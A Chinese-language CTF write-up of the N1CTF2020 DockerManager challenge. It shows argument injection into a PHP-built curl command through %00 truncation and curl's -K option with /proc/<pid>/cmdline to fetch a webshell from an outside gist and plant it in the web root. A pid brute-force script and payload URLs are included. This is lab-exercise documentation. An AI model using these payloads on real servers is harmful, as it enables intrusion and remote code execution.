觉得这题挺有意思的,来写个 WriteUp 记录一下。

知识点:

  • PHP 命令执行参数逃逸
  • CURL 参数利用
  • Linux 系统特性

复现地址:

https://buuoj.cn/challenges#[N1CTF2020]DockerManager

步骤:

1.下载附件,进行分析。

Dockerfile 中写明 /var/www/html/img 具有可写权限。

view.php 中写明逻辑,将输入的参数利用 escapeshellarg 转义后拼接执行。

2. 首先来测试一下能不能进行参数逃逸。

测试几种姿势都不行,最后发现 %00 能进行截断,可以把后面的内容进行截断。

http://81893acd-e5b6-4fa8-9b92-90ef49877eac.node3.buuoj.cn/view.php?host=http://http.requestbin.buuoj.cn/tz894atz

http://81893acd-e5b6-4fa8-9b92-90ef49877eac.node3.buuoj.cn/view.php?host=http://http.requestbin.buuoj.cn/tz894atz%00

截断效果如下。

那么就代表这里 host_addr 这个参数我们是完全可控的了。

即便它因为 escapeshellarg 两边被加上了单引号,但我们可以利用它来怼上自己想要的参数。

可以看到,对于这种单字母的参数,我们在两边加不加引号都不影响其执行。

正因为这个 host_addr 所在的位置前面没有字符,后面可以利用 %00 来截断,我们可以完全控制这里的数据,我们可以插入单字母参数,使其发挥作用。

原本应该被作为请求地址处理的数据被作为参数项处理,造成了逃逸。

3.那么我们可以来看看该利用哪个参数进行利用。

看到 -K 参数,可以读入一个配置文件。

到官网查找到相关文档。

https://ec.haxx.se/cmdline/cmdline-configfile

进一步查找,发现更具体的用法。

https://curl.haxx.se/docs/manpage.html

可以利用 url 访问一个地址,再用 output 输出到相应的文件里。

这样我们就可以不用想办法逃逸参数也可以写入 webshell 到网站目录下然后 getshell 了。

构造出来的配置文件如下:

url="https://gist.githubusercontent.com/glzjin/2c81bd6f1ef880f593ed18157400bbcb/raw/0f039d674ddf0fe026e87bf3faa56ca9a187b10f/n1ctf_docker_manager"
output="img/glzjin.php"

4.那么我们如何把这个配置文件给写到服务器上呢?利用 cmdline,每一次 php 执行 curl 命令的时候都会有一个 pid,这个 pid 在 /proc 下会有相关文件,在 /proc/<pid>/cmdline 里会有运行时的命令,我们利用带进去的参数产生的 cmdline 文件作为配置文件,是不是就相当于上传上去了呢?

但这样做进程一运行就会很快结束,无法驻留供我们长时间使用,我们有其他的办法可以让这个进程一直存在从而让 cmdline 文件一直存在呢?我们利用 curl 的 -K 参数去读取 /dev/urandom 时可以造成 curl 一直运行,因为其一直在读取配置文件,读不到头,进程则一直存在。这里除了前面的参数还有后面许许多多参数比如 cacert 等可控我们控制,我们利用这些来写入内容即可。

综上,“上传”配置文件的 Payload 如下:

http://81893acd-e5b6-4fa8-9b92-90ef49877eac.node3.buuoj.cn/view.php?host=-K/dev/urandom%00&cacert=111%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0aurl=”https://gist.githubusercontent.com/glzjin/2c81bd6f1ef880f593ed18157400bbcb/raw/0f039d674ddf0fe026e87bf3faa56ca9a187b10f/n1ctf_docker_manager”%0aoutput=”img/glzjin.php”%0a%0a%0a%0a%0a%0a%0a

5.curl 的配置文件在服务器上存在之后,即可利用脚本爆破 pid,触发 curl 去访问地址 然后写 shell。

import requests

for i in range(1, 100):
    r = requests.get("http://81893acd-e5b6-4fa8-9b92-90ef49877eac.node3.buuoj.cn/view.php?host=-K/proc/" + str(i) + "/cmdline%00")
    print(r.text)

6.然后使用蚁剑连接 img 下的 webshell 即可 getshell。

7.执行 /readflag 有个数学题。

弹个 shell 出来,然后 trap 之后慢慢算。

trap “” 14 && /readflag 

Flag 到手~